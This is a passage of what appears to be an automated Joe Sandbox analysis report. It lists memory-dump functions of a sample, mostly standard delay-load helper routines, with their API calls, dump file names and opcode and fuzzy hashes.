Instruction Fuzzy Hash: 87D09E31144300AAD6122B51DE0AF1A7AE2EB9CB05F4045D4B349750F1CA629E319B12

Function 00B24D2C Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B24DD5: RtlAcquireSRWLockExclusive.NTDLL ref: 00B24DF2

DloadProtectSection.DELAYIMP ref: 00B24D54

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AcquireDloadExclusiveLockProtectSection
String ID:
API String ID: 3680172570-0
Opcode ID: c2db617e82d0c6730e9fd4475575cee626c31234cc1186ae215a576f8db04a5b
Instruction ID: 364434b31095065ffedcec3e62b902afd8df588c7b5a172e92de3ce30e96b689
Opcode Fuzzy Hash: c2db617e82d0c6730e9fd4475575cee626c31234cc1186ae215a576f8db04a5b
Instruction Fuzzy Hash: 64D0C9361046709ED765BB28BC9AB9822E0F304386B9105E1E25D869E4CF6058549601

Function 00B0E152 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00B0E052,?,?,?,00000000,00B0E5D2,?,?,00000000,?,00000000), ref: 00B0E15E

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 742a9d22dd07bac26bd417facbd3a9dbe83f4eef5b02617b2a0ed027703545ec
Instruction ID: 5f510a31712a8f431f92d9f406943bd24caab26e6d697dea5689545abc52c900
Opcode Fuzzy Hash: 742a9d22dd07bac26bd417facbd3a9dbe83f4eef5b02617b2a0ed027703545ec
Instruction Fuzzy Hash: 24C00239400249DACE254A28984949D7AA2EA523A67B49BD4D039AA5E1C732CC97EA11

Function 00B249B7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a550521674a351a784cc9731f1b9bbd32e707159d947ceb89ba6298f9cb3e5ac
Instruction ID: 79d0c49e5e8e054230b3586eda11f7ed28e890b4e5032307c94ef253289aa9fe
Opcode Fuzzy Hash: a550521674a351a784cc9731f1b9bbd32e707159d947ceb89ba6298f9cb3e5ac
Instruction Fuzzy Hash: 81B012863DD0206D320491147E02D3701CDC0C3B1173086DAF80CD1881EE804D881032

Function 00B249A3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 08b2246b414463554a3625ef56238b4b4afedcec6afd6d63c60b98d9a7c0c16f
Instruction ID: 93e370babf8ff4f8026ca436c06b14a8beba30ab9438e76171e0e10e3eba5d8d
Opcode Fuzzy Hash: 08b2246b414463554a3625ef56238b4b4afedcec6afd6d63c60b98d9a7c0c16f
Instruction Fuzzy Hash: 9FB012963DC0206C3204A1147F02D3701CDC0C2B1133046DAF80CD1841FE814F891032

Function 00B24999 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a82b4aaa4ba113076e4f6096af3885bc5ee11c04f38356400f38564b26589425
Instruction ID: 7f686216669bd0c9765b630b2a50f0bd993f0668e4103768f6746986c8935155
Opcode Fuzzy Hash: a82b4aaa4ba113076e4f6096af3885bc5ee11c04f38356400f38564b26589425
Instruction Fuzzy Hash: 7DB012963DC1206C3344A1147E02D3701CDC0C2B1133047DAF40CD1841EE804EC81032

Function 00B24985 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8204e1049611ef23f3c3b75b4f80f6fe54367474d6c548b439242091e08b37c9
Instruction ID: be60c8362a7c221d49f392a2816df36cf3485554122b9dc523bbfc00cf2808bd
Opcode Fuzzy Hash: 8204e1049611ef23f3c3b75b4f80f6fe54367474d6c548b439242091e08b37c9
Instruction Fuzzy Hash: 74B012863DC0206C320891747E02D3701CCC0C2B113308ADAF40CD1941EE804D8C1432

Function 00B2498F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d71955a7b4336c28ea627609e801e6660be6c95753603a22027f49d4f8159b52
Instruction ID: a79f76e5c0319b9a9d30357ecc699734227334cd996491d0f9f0aaf2a3fdef1e
Opcode Fuzzy Hash: d71955a7b4336c28ea627609e801e6660be6c95753603a22027f49d4f8159b52
Instruction Fuzzy Hash: 43B012963DC1206C3204A1147E02D3701CDC0C3B1133086DAF80CD1841EE804E881032

Function 00B249D5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1361ec6803cbd228efcee50fe83552acd2fb3bf215a5a5c750ef75e97972ed56
Instruction ID: 7c985ffa402c1929c76523fc7e88b46804cc5e1b40afb762f9559b124c95e7ca
Opcode Fuzzy Hash: 1361ec6803cbd228efcee50fe83552acd2fb3bf215a5a5c750ef75e97972ed56
Instruction Fuzzy Hash: 2DB012863ED0206D320491247E02D3701CEC4C2B1173046DAF40CD1841EE804D881032

Function 00B249C1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 279732529fa6ac7939f5965b3bbe933cb46da3d47d57020b93d4c2158e948357
Instruction ID: e05799d888a03608d59c6d258c144d7ff41ce20b8588e59da15aba52b2a5df64
Opcode Fuzzy Hash: 279732529fa6ac7939f5965b3bbe933cb46da3d47d57020b93d4c2158e948357
Instruction Fuzzy Hash: DDB012963DD1206D334492147E02D3701CDC0C2B1173047DAF40CD1841EE804DC81032

Function 00B24935 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fee7524540d7f5b1caa4da7724d3a8c71aaff01e1e6951e9d1d8f0ba0310351c
Instruction ID: dd1d079df613b4ec1c374fe2ff45f9e08cba0ea7d32845d007154c1a391686fe
Opcode Fuzzy Hash: fee7524540d7f5b1caa4da7724d3a8c71aaff01e1e6951e9d1d8f0ba0310351c
Instruction Fuzzy Hash: 15B012863EC1206C32049124BE02D3B01DCC0C2B1133047DBF40CD1841EEC04D881032

Function 00B2493F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0ca0f44aec01865c184c3bfb6abbf3ea9603d83523e9ecf98d5c21a17c0dd738
Instruction ID: df3949cd46b5ad5c13a3852dadda2fa9f0f75fd3dcd2834eee0105791ef896c7
Opcode Fuzzy Hash: 0ca0f44aec01865c184c3bfb6abbf3ea9603d83523e9ecf98d5c21a17c0dd738
Instruction Fuzzy Hash: D1B0128A3DC1206C3204D1147E42D3701CCC0C3B1133086DAF80CD1D41EE805D891032

Function 00B24921 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e9343b75bda3976a521ed54ed988731184894b628f24b7e14c842e7a26bd083f
Instruction ID: 5e2a9876c9071644723e5e349048deec02fb4bfc903bf883c4d2a81da61048ea
Opcode Fuzzy Hash: e9343b75bda3976a521ed54ed988731184894b628f24b7e14c842e7a26bd083f
Instruction Fuzzy Hash: 29B012863DC1206C33449114BE02D3701DCC0C2B1133047DAF40CD1841EEC05DC81032

Function 00B2492B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 60f8ebaeb0dc39f555f291c23442aa1cc090174e07e121a76fd060d5b234161b
Instruction ID: aa189cf9db9640a6a7829fffd69da059f9d50f1974bf6300e46fa0b610715e02
Opcode Fuzzy Hash: 60f8ebaeb0dc39f555f291c23442aa1cc090174e07e121a76fd060d5b234161b
Instruction Fuzzy Hash: AFB012863DC0206C32049114BF02D3701DCC0C2B1133047DAF80CD1841EEC14E891032

Function 00B24906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: abfafced814c18b1c7d28f63e0f0bf9de1fd766caeb10d93bc509ee1e96a175e
Instruction ID: bc3adf317a97ee51fd63662de38d739b701257eb1bbcac6d6e51cd590263f222
Opcode Fuzzy Hash: abfafced814c18b1c7d28f63e0f0bf9de1fd766caeb10d93bc509ee1e96a175e
Instruction Fuzzy Hash: 97B012963DC0207C320451107F02D3701CCC0C2B1133046DAF80CE0852AE825E891032

Function 00B2497B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8fb80a89ca9ff8019d4dbd44f7e73119f54aa1d94e6dd8637020e6eb4a78751d
Instruction ID: 62df95d91a65f3872c6e96880f1103c5ecffb715b32db00500599959f35591fb
Opcode Fuzzy Hash: 8fb80a89ca9ff8019d4dbd44f7e73119f54aa1d94e6dd8637020e6eb4a78751d
Instruction Fuzzy Hash: D4B012863DC0206C320891147F02D3701CCC0C2B1133086DAF80CD1941EE814E8D1432

Function 00B24967 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3025a301c1bf4bf5fa483b3293116977b7e381b1cb7a864d34b0cbae8ef2231d
Instruction ID: bbad681bdbb362a3be3ab95d750568379b1f8d20dbded73f4883e8c55056f194
Opcode Fuzzy Hash: 3025a301c1bf4bf5fa483b3293116977b7e381b1cb7a864d34b0cbae8ef2231d
Instruction Fuzzy Hash: 6CB012863DD0216C320895147E02D3701CCC0C3B11330C6DAF80CD1941EE804D8C1432

Function 00B24953 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1397ee05296698f06505b8d39e712efc575cd41a14cb879dd03ac70f4937ebc6
Instruction ID: 9dc2da2265a49ce3c0c06d4f72a97facb8a2f1d8761b81534a6908880290dc5e
Opcode Fuzzy Hash: 1397ee05296698f06505b8d39e712efc575cd41a14cb879dd03ac70f4937ebc6
Instruction Fuzzy Hash: B4B0128A3DC2206C3204D1147F42D3701CCC0C2B1133046DAF80DD1D41EE814F8A1032

Function 00B2495D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
